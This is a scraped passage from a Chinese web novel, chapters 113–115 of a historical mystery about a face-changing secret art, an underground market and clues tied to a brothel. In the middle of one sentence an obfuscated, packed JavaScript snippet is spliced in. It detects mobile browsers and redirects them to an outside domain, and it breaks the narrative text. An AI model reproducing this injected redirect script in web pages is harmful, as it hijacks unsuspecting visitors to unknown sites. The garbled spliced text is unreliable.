他说出一个确切的、却给他带来莫大打击的答案——魏郁春所悼念的亡魂不是别人,便是这名妾子。 一个南禺人,怎么会跟朔州府深居内宅、足不出户的妾子有如此深大的联系?他后怕了。南禺初见几日,魏郁春受雨得了风寒,躺在床上,将他当作妹妹冯巧儿时迷糊自语的内容,也曾令他毛骨悚然——“对不起,我并不愿意那般责怪你,我只是害怕……巧儿……是这户人家唯一的孩子了,倘若你出了事……我怕因愧疚万劫不复……” 那时,他总是怀疑,这女子是不是真的被恶鬼夺舍了。 与此同时,关阇彦看着那字字句句对魏澜清的描述,竟是越看越寒心,越看越陌生,不禁扪心自问,她真的是记忆中那个明媚的少女了吗? 比起她,眼前的冯迎春才更像是。 他盯着字句上“隆月冬庙”的诗句,总觉心痛,亦觉奇怪……冯迎春无缘无故为何写出这些诗句?这些诗句又为何无缘无故地刺激了魏澜清? 不行!他必须搞清楚!那朔州府魏家的妾子到底是何人!还有,这四句诗到底代表了什么意思! 魏郁春出了门,承轴转动间,关阇彦便警觉地提前收好了信封,装作无事发生。 魏郁春想藏着便藏着,他将其拴在身边,不怕她会跑掉,届时,他必要让她主动显出原形来。 他心情分外肃重,可又好奇得要命。这种感觉已令他欲罢不能,所有的目光好似都完全聚焦在了这个神秘的女子身上,怕是永远分不出心给其他女子了。 114. 消失的山 二人搭马疯走,鞍上一高一矮两个身影在晦暗的夜幕下,好似被恶趣味地裁剪成了连体婴的模样,简直是似曾相识——不久前,魏郁春也是以这样的方式,被关阇彦从避暑宅带入杜府的。 远山外翠绿的山眼闪烁在黯淡的夜幕中,近看过去,茂林遍野,鸟兽鸣啼,深入其中,跨越底下穴道,宛如恶鬼异世的洞市为他们开放而来,千奇百怪的东西尽情铺陈在了眼中。 关阇彦也为魏郁春准备了只面具,沿路过去的人只见“董郎”大人急色匆匆,哪里敢去细究他身边带着的女人是谁? 在魏郁春还在惊奇之间打探洞市阡陌怪闻时,关阇彦竟已经带着她来到了一处方方正正的花棚底下,支撑棚子的木桩子下坐着三个颓然的身影。 左边一个老嬷嬷右边一个带着铁面具的奇怪壮汉,还有中间夹着一个生得最为古怪、腰背最为佝偻的疯老人。 戎嬷嬷与董十郎早已心如死灰,本以为喂给他们毒药的关阇彦再也不会回来,所以提前安详地给自己准备了个舒服的地方,靠着等死了。 这不,熟悉的气势朝他们铺天盖地地袭来。他们死气沉沉地抬眼,看到了熟悉的身影。 董十郎跟戎嬷嬷左一个抹泪又一个擦嘴的,扑过来哀求:“哎哟大人大人!你可算是回来了!阿拉翁我们洗干净了!身上啥胎记都没有,更不提什么黑花不黑花的了。” 魏郁春在后头默默料想:“没想到关阇彦还在追查南禺印记的事。” 她看向还歪倒在木桩边的“阿拉翁”,心中大致有了念头——看来这个老人是南禺人。 难怪他突然大发慈悲,要将她一起带来,莫不是觉着他们都是南禺人,有共同话题? 关阇彦寻思着将来也不可能再回洞市这个鬼地方了,便将解药抛给了戎嬷嬷跟董十郎,玩味不已:“行了,你俩滚吧,不过我在解药上还做过手脚,若是将今日之事说出去半个字,药物作祟必会烂了你们的舌头。” 戎嬷嬷跟董十郎被吓得齐齐一震,忙不迭弓腰:“好好好!我们滚我们滚!大人放心,啥也不说!” 魏郁春被这个场面逗得有些想笑,因为她一路上跟关阇彦形影不离,不曾见他改造过任何东西,更不提什么解药了。 他唬人从不需要理由,只消气势压够、态度够狠绝便可。 所以凭什么他要她说话记得打草稿,分明他也是理亏的人。 魏郁春微微不服,但她很快就被关阇彦喊回了神。 关阇彦跟她凑近阿拉翁,都弯下身子,挥手过去,想把老翁游离在外的魂魄摇回来,那老翁终于看到了他,忙要嚷嚷什么“阿拉麻拉”。结果,目光再瞥到魏郁春身影的时候,突然安静了,他手舞足蹈,忙从地上腾起,那副仰头遛腿的模样又起来了,他迅速绕到魏郁春身边,好似将关阇彦当作了空气。 关阇彦只好无可奈何地喝他:“你这老东西……” 阿拉翁用新奇的目光看向魏郁春,魏郁春垂着眸子想要安然接受这些,可发现,她居然被盯得心慌了。 阿拉翁诡笑起来:“嘿嘿嘿,你这小丫头奇怪!真真奇怪!” “哪里奇怪?”关阇彦拧眉。 “长着南禺身,不是南禺魂啊!比你还不像南禺人呢!” 老翁的话好似带着渗了毒的甜丝丝之味,挑拨人心的同时,也叫人沉浸其中,被恐惧笼罩。 魏郁春面具下的脸血色几乎消了大半,因为这老翁说得玄乎,可句句属实,她的确占据了本是南禺人的冯迎春的身体,现在的她,半人半鬼。她冒着冷汗,可必须保持冷静,因为身边还站着个善于观察的关阇彦,她不能轻举妄动。 她牵强地笑了笑,要跟关阇彦说话:“这老翁应是神志不清,说的话并不……” 并不可信。 可关阇彦压根没有要怀疑她的模样,他甚至看都没看她一眼,模样自洽,活像是在故意躲避什么……但,他这人心思那么深沉,做事更是直率明了,何时躲避过什么? 关阇彦刚好打断了她的话:“你这老头怪会胡说八道。” 老翁不看他,还是咯咯咯笑着,嘴里嘟囔:“阿拉莫拉撒!” 魏郁春悬着的心终是安了回去,而关阇彦立马进入正题,他拿出了陆子礼的遗物,那是一份与魏郁春之前见过的全然不同的拓印文书。 关阇彦此时也想起来,魏郁春还不知道陆子礼的结局,简略表达道:“陆子礼跟他的女儿的确死了,他虽未继续造孽,并把从盘龙山窃走的法器毁了,但他将我们引到盘龙山,是为了杀死我们的事是事实。他隐瞒了自己是二十年前盘龙山脚下信徒后代的身份,要不然也无法破译古文换脸秘术。他死后,我派人又去了禺山镇,从他家中搜出了这份我们未曾见过的秘术,多半跟换容有关。” 魏郁春在盘龙山昏迷前就知道陆子礼心思诡秘歹毒,但当自己真的听到他跟女儿最后的结局后,她却还是忍不住叹惋。 人心之复杂,向来如此。 未等她伤感,关阇彦又言明带她来的目的:“我猜测关昀洲便是用换容术挤占了我的身份,若是破解这些古文,兴许能找到令其原形毕露的办法。这疯老翁是南禺人,懂古文,你记性极佳,想让你试着过来破译看看。” 他这是把她当成万能的文字仙人了。 但他也的确没带错人,因为,她的记性的确很好。至今那些南禺石墩抑或是山下洞穴石壁上的内容,凡是她习过的,都没有忘记。 她颔首。关阇彦把那份拓印古文翻到了阿拉翁面前,阿拉翁先是嘻嘻哈哈,后是哭哭啼啼,好一会儿才安分,指着古文一字一字念着:“古里阿莫……米拉阿拉莫……” 魏郁春听得脑子头疼,但到底是在关阇彦的配合下,撬开了阿拉翁说正常话的嘴巴,一一比对下来,愣是让她另外书写了一份破译后的中原字古文。 眼看洞市要关门大吉,关阇彦赶时间,便没有让魏郁春在阿拉翁面前将那些晦涩的文字全悟明白。 他翻出了另外的疑惑,竟是老老实实地喊了阿拉翁一句“高人”:“高人,你可知,传说中极北之地的酆都罗山是什么地方?” 阿拉翁眨巴眨巴眼睛,动作更是端正了,他打坐着坐在地上,安静许久,浑身散发出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447457|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股智者的气息,好似瞬间变回了正常人。就连魏郁春跟关阇彦,见此情形,都恨不得立马汗毛直立。 阿拉翁发出了尖利的笑声,是愤怒的哭吼,是对自我经历的愤懑不满,是对阴暗而不公平的世界发出的哀嚎:“阿拉莫拉!酆都罗山没有了!早没有了!被夷为了平地!他们烧杀不已、赶尽杀绝啦!山在动,树在倒,地在塌,水在翻!山塌了,山塌了!!!我没有家了!!!” “我没有家了!我没有家了!都是你们害的!都是你们害的!” 他哭起来,眼泪哗哗地流,好似要在身下汇出两条浸满了怨恨的长河。 他言辞凄厉无比,好似山中啼叫的猿猴,任谁都无法插嘴,更无法被叫停。 “酆都罗山”好似是什么神秘的诅咒,不可触及,一旦触及天崩地裂,这阿拉翁不受控制,只管对着黑黢黢的天怨怒滔天。 关阇彦可算有些明白这老翁为何偏偏不讲正常话,而要将古文念叨在口了,怕是他对中晋有恨,又对曾经邪术猖狂的南禺怀念不已,所以不愿意服从于现状罢了。 可悲,可恨,可叹。 阿拉翁的哀嚎声引来了越来越多的洞市之人,再这么下去,外面可是要被围得水泄不通了。魏郁春匆忙将纸张叠好安放入怀,跟着关阇彦的身影,快速逃离这个是非之地。 洞市的大门在他们的身后缓缓关合,绿色的深渊内是一段心有余悸的旅程。 魏郁春骨子弱些,连跑带爬的,气喘吁吁,她掐了掐虎口以求心静,问同样有些狼狈的关阇彦:“方才阿拉翁受了刺激,那些话到底什么意思?” 关阇彦带着她上马,嘱咐:“线索太碎,至多知道,酆都罗山不会是传说中的那座酆都罗山。” “它不可能长在极北,而应该在南禺。在阿拉翁眼里,此山活似一种信仰,崩塌了便是没了归宿。” “我们在南禺时了解过,没有这座山,所以才一度怀疑它是隐喻了什么,比如盘龙山。” 马上风声萧萧,关阇彦跟她保持些距离,声音有些远去,不大分清:“他不是说山塌了吗?被夷为平地了……” 魏郁春在鞍前望着越来越近的翁城,微升的曙光点缀在天际线,她急于要听清楚身后的人到底在说什么,一时竟忘记了他们之间隔着的几分距离。 她微微后仰,马背一颠,她猝不及防地往后倒了过去,整个后脑勺砸在了一块坚实的肌肉上。 她呆呆上看,关阇彦正好整以暇地看着她,嘴角有些抽动,他在忍笑。 见她要躲,他总觉得这大好机会不可浪费,旋即下意识调侃她:“嗯哼,冯姑娘若想靠着那便靠着,何必扭扭捏捏?关某也不是那般小气的人。” 与其说是调侃,不如说是调戏。 魏郁春呼吸急促,像只敏捷的松鼠,一下子从他的臂弯边窜出前去,她规规矩矩地坐在前鞍,矜持有度,背脊直地像铁板,不知道的还以为在忌讳什么邪祟。 她愤懑大骂:“不要脸!” 关阇彦微微一勾唇,眼神犀利,朝远方看去,大声道:“算了!这些话还是回去听吧!” 115. 兄妹恶诅 二人归来之时,天已将明,杜夫人留在宅子里的老熟人——二位嬷嬷守在门内,眼见破开晨雾奔来的两个年轻的身影,忙吆喝几个阍人撤到后头,迎了他们到里屋。 关阇彦与魏郁春分别开来,抱上嬷嬷准备的新衣饰,去各自的屋子沐浴去了。 走前,关阇彦还戏谑唤了魏郁春一声:“晨雾寒凉,你不是说夜里肚子不舒服吗?沐浴后你便留屋里,我来找你。届时叫嬷嬷过来唤我一声便可。” 魏郁春皱着眉头,想着他居然还记得夜里她信口说出的一句托词,暗暗叹息,看来他没怀疑她大半夜出去的事了——她反应过来后,默默松眉,一种落寞的悲伤沉淀在她的丹田里。 因为,她一直思念亡母,却苦于没有办法悼念她,见夜里杜明堂和关阇彦都出门办事,她才趁机为母亲烧纸,以获慰藉。可万万没想到,刚走没多久的关阇彦居然还杀了回来,一回来还偏偏要来寻她,要不是她耳力好,怕是早就露馅了。 好不容易能有的向母亲尽亡孝的机会,就这样没了。她心中苦闷,也觉得愧疚,欲哭而不得落泪,只好暗骂自己是个不孝女。 她想到关阇彦要她留下来的话,又突然觉得心情好受了些,留下来,便有接近魏澜清的机会,更是有了报仇的机会。 自己前世的苦,母亲的死,她不可能就这么算了。 她被嬷嬷们打趣嬉笑的声音拉回神。 “瞧我们都督多会疼姑娘!”二位嬷嬷风趣使然,说出这等惹人害臊的话来也是不怕叫人觉着尴尬的。 魏郁春忙活了一晚上,觉也睡不好,听到她们甫一打趣,总想到关阇彦是个浪荡的性子,无名火冒起,飞速离去:“可不嘛?疼的姑娘多得怕是能从杜宅门口排去城门外了!” 嬷嬷们笑僵住,想不通一向文静的她怎么突然变了性子。二人都不说话了,风风火火地跟过去了。 一炷香过后,关阇彦沐浴完毕,已经穿好了衣裳,长发散开,松散地披在腰后,玄色的内袍慵慵懒懒缠在他身上,他腰间束了绳,以此确保整件衣裳能挂在身上。除此以外,他浑身无一处不是松垮的模样。 他在屋内等了几许,险些要撑着额睡过去,迷迷糊糊几个瞌睡过去了,他才听到嬷嬷来唤人的声音。 他拉开门扉,外头晴空万里,半点晨气都没了,他还奇怪这魏郁春是不是水怪转世,洗个澡竟能洗几个时辰。 他还没开口问,嬷嬷就惊喜非凡地跟他禀报:“姑娘把那些古怪的文字都解出来了!” 他也觉得讶然,忽然觉得几个时辰的时间不能说长,只能说太短。因为陆子礼留下来的古文长达书页,上头密密麻麻都是看不懂的文字,小如蚊蝇,就是举着蜡烛成天成夜的盯着看,不消几个时辰,眼睛都能看花了。 魏郁春跟他一样,都看不懂这些文字,可她居然真的在短短时间内,不仅将它们翻看完毕了,还彻底将所有的古文字解出来了! “当真是天才!”他难抑欣喜,心中感叹,可很快他就反应回来,“不是说沐浴后便来唤我么?怎么几个时辰后才来?” 嬷嬷捂嘴哈哈大笑:“来过来过!不过姑娘家的洗澡精细,定是比都督慢上个把钟头。本是我们来的,但冯姑娘不喜外人进闺房,便要求自己过来寻您!结果她来的时候唤了一声却无人答应,就知道您是睡了,她就回去了,说是也莫要别人打扰了您,晚些再来唤您!” 关阇彦顿了顿,似乎是意外,魏郁春竟会有待他如此贴心的时候,他道:“她不是不喜欢别人进她屋子么?怎么这次她自己不来寻我,反是叫你们来唤我了?” 这个嬷嬷越笑越高兴了:“都督这是更期待见到的人是冯姑娘!不过,的确不是冯姑娘来叫人唤您的,她说闲着无事便早些把古文译了,好不容易译完自个儿倒是睡过去了。我眼看外头都要日中了,杜老爷他们也要回来了,我进里头一看,姑娘趴着睡得正酣,身侧摆着译文,我便急急忙忙来将它们交给您呢!毕竟老爷交代过,此事得急,不得慢。” 嬷嬷说着,把一沓用小篆仔细写下来的译文呈给了关阇彦,他没心思看,只是压着眉头,佯装态度严谨,继续道:“另外一位嬷嬷呢?” “留在屋内照顾姑娘呢,要不然叫姑娘一直趴着睡,岂不是遭罪。” 他满意了,点点头,翻看其译文,不过才了解一二,外头就传来了家仆们有序的脚步声,安静的宅子一下子就跳脱热闹了起来。 他翻翻眼皮,心知,是杜明堂那个显眼包回来了。 嬷嬷颇有眼力见,道:“要不要老奴将冯姑娘唤醒一起议事?” 关阇彦头都没抬一下,爽快道:“罢了,替我跟你们家杜老爷说一声,议事延到傍晚。” 嬷嬷秉承着老爷的教诲——“此事得急,不得慢”,听到关阇彦的话,她有些懵,但很快就意识到了问题,她有些坏笑:“都督这是想让冯姑娘也多歇歇吧。” 关阇彦额前青筋不自然地跳了跳,不悦:“胡说什么,不过是我自己还没休息好罢了。” 接着,他又以要“休息”为由,将多嘴风趣的嬷嬷送了出去。 屋内,他扶额,信手捏捏眉心,笃信不已,他的确是有些头痛,精神松劲儿是难免,这种状态如何再去议事? 他才不是为了照顾魏郁春才这样的。 但……他又忍不住去在意,魏郁春为了让他休息故意不来唤他的事,心间微暖,微微松口——她既有心这么待他,这次给她做个顺水人情也没什么不好的。 傍晚,魏郁春姗姗醒来,见天色微暗,还恍惚以为还是晨光熹微的凌晨,她出门去,听到嬷嬷的话,她才知道自己已经困过去许久了。 她困扰为何无人唤醒她,嬷嬷只道是杜老爷等人也奔波一夜,需要休息,便没必要找人叨扰她。 奇怪的是,她一醒来就被嬷嬷们邀着去了隐蔽的议事堂,堂内关阇彦、杜明堂、杜老爷杜夫人都已经静候多时,哪有半点疲惫惺忪的模样?这一刻,她瞬间就明白了,定是有人为她说了情,好叫她多休息休息了。嬷嬷的说辞真不可信。 听说杜老爷他们是不久前刚回来的。 所以这个人还能有谁? 她目光逡巡,久久无法从关阇彦严肃的侧脸移去。 他还装什么样子呢,明明就是他,怕是还不肯承认了。 活似对谁好对他来说,就像什么能把他钉进耻辱柱的羞事。当真是个心口不一的家伙,她忍不住腹诽。 堂内气氛沉郁,魏郁春备受感染,一行人很快进入了主题。 关阇彦去洞市的经历尤为关键,他便主动开了头:“入洞市后还算顺利,找到了帮忙贩卖异香的董十郎,经调查,购买龙骨香的人是一个喜欢头戴阳春菊的男人,此男人购入龙骨香甚多,并用足够多的金银财宝垄断了接下来几十年的龙骨香。” 杜明堂惊奇:“阳春菊?!怎么听起来这么耳熟……我记得阿彦你……” 突然意识到爹娘都在场,他立马改口:“我记得都督你在刘春盛的屋子里,发现了两次这种花了!” 关阇彦颔首,还好心提醒起来:“你再仔细想想,上次入芳樱楼看到的尸坑里,也长了很大一丛阳春菊。” 杜明堂依言真去好好检索回忆了,果真想起来经过大火炙烧后归为黯淡的世界里,那从生长在骷髅群里甚是显眼的一丛亮橘色。 他愕然张口,然后背手展扇,若有所思起来。 关阇彦继续说道:“买手垄断龙骨香的目的,或许是为了不让我们找到他。可惜我们比他料想得更早一步找到了刘春盛,并且还有陶司直帮衬,要不然当真寻不到蛛丝马迹。” “那买手是什么家伙?他为何要勾结刘春盛盗窃杜家账本?!”杜老爷情绪激动。 毕竟刘春盛畏罪潜逃已经是板上钉钉的事了,虽然他死了,但好不容易得知他背后还有黑手,杜老爷岂不心潮澎湃,他是恨不得当场就把洞市跟京城都掀个底朝天,把这个家伙揪出来!再呵斥其将杜家的账本还回来,为杜家洗清冤屈! 关阇彦未曾明令他人冷静,他只消继续说下去,语气冷酷,自是无人敢插话。 “据戎嬷嬷跟董十郎所言,买手应是京城某个大花楼的老板,因为此香作用特殊,常被这些商人老鸨当作迷晕良家女子、将其充妓的东西,要么不买,要么买甚多。并且,买手用来交易的东西多是女子用的闺阁之物,疑似男子逛花楼留下来的奖赏和缠头。” 说及此处,他诡异地停顿了几秒,笑了起来:“哦……差点忘了,那堆赃物里头,还有一种松脂,只可惜当时情况紧急,没法子要那董十郎掏出来。” 杜夫人颇懂香料,若非老爷对松脂有敏疾,她是必要在屋内私人收藏些许的。 听到有她能帮忙的地方,她忙道:“都督可否说一说,是什么松脂?” “上等的灵露松脂。”他依稀记得黑账簿上是这么记载的。 杜夫人面色僵住,她旋即跟丈夫对视了几眼,发出一丝诡异的叹息,道:“老爷跟我提过账房箱底的事,我后来也去看过那松脂,香味倒是和普通的松脂没什么两样,但状态却有些特别。普通松脂触感油腻,但长时间跟灰尘摆在一处便丢了油性,与灰尘融为一体,成为松屑。但箱底常年灰尘遍布,底部的那层松脂却依旧质地润腻,不与灰尘相融。我不曾见过这种情况,一直没有定论。” 杜老爷有些嗔怒:“你这不发现异端了,怎么不早点和我们说呢!” 杜夫人冒冷汗:“这世上我不曾见过的松脂也就宫里御赐的了,相传百年不化的灵露便是其中一类。我若是妄言,岂不是在迁怒圣人?” 杜明堂:“怎么又扯到圣人头上了,不合理!” 关阇彦了然杜夫人的顾虑,忙抬手止住杜明堂,道:“若买手是花楼的大势力,有灵露松脂倒是不奇怪,毕竟逛花楼的纨绔子弟多矣,难保会不会有叛逆的崽种真将家中圣人御赐的宝贝拿过来,当作换邀花魁的筹码。这倒是最好解释此松脂来源的理由了。” 他眉梢有些喜色,杜明堂好似也高兴了,他们齐齐点头,道:“都串上了!” 魏郁春总觉得自己一直在这里充作不讲话的木头人,并非好事,她提道:“芳樱楼便是一大花楼。” 关阇彦:“不是还有几个还活着的人么?要他们把芳樱楼的账本交出来,若说没有,就把他们私藏在手里的记账金银出入的东西搜罗出来。这种人,三瓜俩枣的利益都能争得死去活来,必会留些藏宝的证据。” 杜家三人觉得有理,忙派人下去办事了。随后,重中之重的秘术之谜终于被抬上了议事堂,关阇彦已经将译文过目了一遍,就交给了杜家三人再看。 关阇彦目光熠熠地看向魏郁春,笑道:“冯姑娘亲自来讲吧,关某便不抢你的风头了。” 面对他极少数的君子有度,魏郁春有些不知所措,可当她看到所有人望向她那期盼又惊喜的眼神,她只觉得自己好似回到了当年朔州府的诗会,意气风发,胸有成竹。 她自信地展了展脊背,在旁人过目她的作品时,她解释:“换脸秘术并没有想象中那么恐怖,只不过此术失传已久,其中暗藏玄机,令不知情者畏惧。” “陆子礼在南禺时,将需要换脸的对象的面皮剥落——” 闻言,除了关阇彦外的三人齐齐倒吸一口凉气,心想——这还不恐怖? “用特殊的工艺将面容特征保留下来,将其又修改成附和自己脸型大小的状态,便可达到换脸的目的。” “那关昀洲没剥都督的面皮,是如何伪装面容的?” 这个问题问得很妙,魏郁春标注的解释更是让关阇彦最为钦佩的地方。 他心无旁骛地看着她,这一刻,所有的过往都烟消云散,眼神里便是最纯粹的欣赏。 “若可剥皮,那人人都可换容,因为相对来说,工艺会简单很多,”她道,“但我料想,如果有人能将人的面容画得栩栩如生,照样能将其复刻至一张规整制作好的皮上,进而易容。但这很难,至少世上鲜有人能有这等画技。” “关昀洲显然是后者的情况,所以我认为,他之所以与隐华画师有联系,就是和此有关。” 关阇彦颔首:“不错。这一处也串起来了。” 杜明堂方看完所谓的换脸“工艺”——先是剥皮,后是割皮拔毛,又后是泡血水清毛孔,又又后是以皮线缝补缺漏……简直是毛骨悚然。 他又听到魏郁春的话,浑身恶寒不已:“简直是令人发指!邪术!顶顶大的邪术!阿彦啊!还好你你你没死,要不然指不定被谁剥皮了去,真真是死不瞑目!” 杜老爷跟杜夫人也想不通,一直谨言慎行的儿子这几日怎么频频发愣,说话偏偏还喜欢得罪人。 他们闻言一悚,抢过杜明堂手里的扇子,夫妻二人一人往他脑袋上敲了一把,骂道:“胡说八道,都督不还活着呢!不得对都督不敬,快给都督赔罪!” 关阇彦早就见识过杜明堂脱下对外人虚与委蛇的面具后,傻了吧唧的模样,他止住老俩口惊恐万分的动作,对杜明堂的话颇感兴趣。 “关昀洲能伪装成我,就说明在害我之前就与隐华有了联系,他想尽办法要杀我,恐怕真是惦记我的容貌。” 魏郁春忙不迭驳道:“不对。” “他现在恐怕还在找隐华。他明明笃信你已经死了,没必要大费周章再打隐华的主意。若不然。他定会想办法直接去寻你的尸体,剥皮下来继续伪装身份。” 关阇彦顿住:“难道……帮助关昀洲第一次换脸的人,不是隐华?” 魏郁春摇头了:“世上能精准描摹出都督容貌的人,可能会有第二个么?” 是,关阇彦容貌甚佳,完全没有瑕疵,锋利之下更是夺目的正气凛然的神采,便是光靠笔力描摹都无法全然复刻出来的。 关昀洲能扮得像,原因有二,容貌是其一,之前日日夜夜与哥哥接触观察下来的经验是其二,这足以说明,扮关阇彦绝对是一件顶难的事。 关阇彦来了兴致,盯向她,眼底闪现出毫不遮掩的异样的光彩,好似在期待什么:“怎么,夸我长得好看?” 魏郁春看都不想看他那副孔雀开屏的模样,冷道:“抱歉,表达有误。” “我的意思是,能几次下来都能完美将都督容貌描摹一致的人,只可能是同一个人。关昀洲为人谨慎多疑,他会放心将第二次画脸的任务交给另外一个人么?更何况,最近他正处于风口浪尖,不得出差误。” 杜明堂频频点头,看到关阇彦肉眼可见变黑的脸,一边拍老爹老娘的肩头,一边憋笑。 魏郁春继续表达观念,神采飞扬起来,好似她跟关阇彦就是天生一对的冤家,得罪了他,她倒得了能量,心里舒坦,精神变好。 “比起剥皮换脸的方式,描容的办法显然弊端很多,至少是有时限的,不然关昀洲也不可能千方百计追寻隐华的下落。可他心知真正的都督已死,却未寻尸剥脸,我以为,这是因为他根本不知道换脸秘术的存在。这一切都跟他背后的推手有关。” “我若是推手,为了更好拿捏他,当然不可能把底牌放出来。我诱惑其将敌人杀死,还给了他暂获敌人人生的机会,甚至告诉他,只要都督死了,他便能一辈子顶替别人的身份。” “我甚至不会告诉他助他扮演的面皮从何而来,也不可能告诉他,原来这张面皮是有时效的,总有一天他会现原形。当他发现这一切的时候,事情早已无法挽回,他什么办法都没有,我若放出任何一条消息,他便会将其视为救命稻草,什么都会去做,还无法怀疑到我头上,两全其美,幕后的人也完美隐身了。” “所以,关昀洲既不知道真正的安南都督还活着,也不……” 她还要继续说下去,杜明堂却不好意思打断了她:“抱歉,冯姑娘方才不是才说,关昀洲若想继续扮演都督,便一定会找原先提供第一张面皮的人吗?你说他不知道这个人是隐华,后面又怎么知道要寻的人还是他?你这是自相矛盾了。” 关阇彦沉吸一气:“她的意思是,关昀洲是在最开始并不知道这个消息。现在他之所以如此风急火燎地找隐华,应该是幕后的人故意放出了这个消息,让他知道了。” “人在穷途末路的时候,都是不择手段的。幕后的人是在逼他,但他却不知道这一切。” “不过这个线索足以表明,关昀洲的面皮已经快要失效,他现在必是焦灼万分。” 杜家三人恍然大悟:“原来如此!” 关阇彦眉心黑沉,心思越来越沉重:“幕后的人不简单。他若要控制关昀洲其实很简单,根本不需要如此大费周章用隐华画师的幌子,将其逗得跟狗似的。但他貌似很顾忌关昀洲会跟他扯上关系,即便我们杀了关昀洲,也难以发现幕后之人的身份。那家伙,要做的事情,恐怕远远不止我们现在看到的这些。” 他语气严肃:“杜家与隐华颇有渊源,关昀洲面皮失效,隐华出世,杜家遭难。账本丢弃却与关昀洲无关,关昀洲又突现芳樱楼意欲加害周裕之。刘春盛是盗窃账本的帮凶。疑似是芳樱楼之人购入龙骨香害死刘春盛。刘春盛屋子里放着枯萎的阳春菊。买香的男人喜好簪上一头的阳春菊。生长在芳樱楼身份不明的年幼少女的骷髅上的阳春菊……” 他靠住桌案,手指有一搭没一搭地在桌案上敲打着,沉吟半晌,才道:“这些线索看似零碎,实际上早已环环相扣,但就是找不出令他们全部串通到一起的主心骨。” 杜明堂知道这是他派上用场的时候了,他立马接道:“我和爹娘去隆安寺,发现当时建议我们收留刘春盛的典座消失了,寺中的老先生说,十年前,刘春盛走后没多久,那位典座就卷铺盖走人了,可疑得很。” 关阇彦笑了,那笑容讽意十足,他抱着胸靠坐着,他凝目扬眉:“十年前的冬天,寺庙偏偏就收留了除了刘翁以外的所有难民,他形容凄惨是惹人瞩目,别是跟典座提前串通好了,让你们二人将他领回去养虎为患。” 杜老爷听到此处,不免汗颜,接过夫人递来的帕子擦擦额汗。 因为,隆安寺礼佛的故事他早就跟关阇彦讲过,当时关阇彦面色就不对,显然已经怀疑上了。 但那时他却不觉得什么,还以为是都督多想呢。结果出来后,证明当年刘春盛进入杜宅就是个圈套和陷阱,他自是觉得丢脸。 “所以我跟爹娘才在城郊多待了一晚上,派了尽数人脉去找失踪的典座,结果早年仙风道骨的典座先生竟然成了个膀大腰圆的老汉,每天除了吃喝嫖赌就是出街讨饭。要不是我们提前知道他的遭遇,怕是在他跟前绕上几百圈都不认得他。” “他一看到我爹娘,老熟人啊!吓得要跑,一看就是他。我们抓了他盘问,得知刘春 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“刘春盛估计也想不到会是这样的结局,继续赌钱跟吃长饭比,还是后者好,所以才在我家收了心。” 杜咏捋须,若有所思:“刘春盛进入杜宅十年,一直没有动静,却在今年春上突然行动,莫不是有人在放长线钓大鱼?” 关阇彦:“那典座还有其他事情交代了么?譬如送刘翁入杜宅是他自己的旨意,还是旁人的?” 杜家三人一起摇头。 “不过,其他的事情倒是还有的,”杜明堂主动道,“典座得了宝贝儿子,自是很快离开了寺庙,毕竟寺庙里容不下他们父子二人的身份。但盘问典座,却得知,他的宝贝儿子早在五年前就没了。” “死了?” “不是,被他自己又卖掉了。所以如今的典座疯疯癫癫,流浪街头,无依无靠,好吃懒做。赌钱这东西不能多沾!” 魏郁春终于忍不住发出了声音:“什么?!” “是啊,重蹈覆辙,跟刘翁一样。” 关阇彦紧缩眉头:“卖去了哪里?” 杜明堂忧虑重重:“芳樱楼。巧吧?” 杜咏和杜夫人叹息:“芳樱楼大火烧死了不少人,这孩子不管之前还留不留在楼里,留了多半已经没了。” 关阇彦另道:“典座为何突然性情大变?” 杜明堂静声些许,似是完全没想过这个问题。 杜咏说话了:“听说是,他那长到十四五岁的宝贝表儿子先染上了这等恶习,他当老子的被儿子带得也疯魔了,久而久之,一发不可收拾了。” 众人眉头又是一紧,心中无不是那个答案——“这个儿子最后被卖,也是咎由自取。” 既然都问了儿子的下落,关阇彦当然不会落下刘春盛另外一个女儿:“先被刘春盛卖掉的小女儿,可有下落?” 杜家三人脸色齐齐一白,默契十足:“不知道。” “嗯,意料之中了。”关阇彦不以为意。 “那你怎么还问?”杜明堂不解,因为关阇彦不是那种关键时刻明知故问的人。 “不出意外,那女儿已经死了,死得还不是一般的冤,”关阇彦敲着桌面,思路有条不紊,“所以应该是下落不明。我方才验证一番罢了。” “刘春盛品行不端是事实,但光是卖女卖儿,倒完全算不上什么穷凶极恶之事。你们看他那封遗书,今世猪狗不如,了还罪孽,恶鬼缠身,摆明了他知道自己害了人命,但生前他亏欠过的人便是他那对儿女还有他的妻子。当然,他这个恶鬼安心了十多年,突然因愧疚而死,你们觉得这可能吗?” 魏郁春一语道破天机:“是有人在为亡魂报仇,故意刺激了刘春盛。” “嗯,刘春盛虽是自缢,但生前必遭受了太多精神方面的折磨。” 杜明堂自己也是个有妹妹的人,他仿佛还不忍接受事实,道:“万一那丫头没死呢?刘春盛妻子死了,万一是有人替她妻子报仇呢?” 关阇彦扬了扬眉,眼底闪烁着微妙的异光,好似在为杜明堂的自欺欺人而叹息,他摇头:“刘春盛妻子虽被气死,但终归是自己选择了这个结局。恶鬼之所以能成恶鬼,刘春盛之所以能感到愧疚,死者的身不由己、死状凄惨,都是不可忽略的因素。” 杜老爷杜夫人拍拍儿子的胸脯:“是啊,刘翁若是当真对妻子的死感到愧疚,他怎么会走到如今这个地步?” 关阇彦颔首:“同理,他若对卖女之事感到愧疚,之后也不会继续重蹈覆辙,卖掉儿子。他知道子女死了,是被他害死的。” “并且,我更倾向于,惨死的人就是刘翁的女儿,他儿子还活着。” 他的目光阴沉起来,好似有一圈浓雾沉浸其中,他强颜:“别忘了,买下龙骨香的买手很可能就是芳樱楼的势力。而刘春盛之子不也被典座卖去了芳樱楼么?阳春菊的存在意义不明,但它衔接起了买手、芳樱楼尸坑中惨死之女还有刘春盛的联系,而刘春盛恰巧有一对辜负了的儿女。三个人的纠葛完全对照上了。” 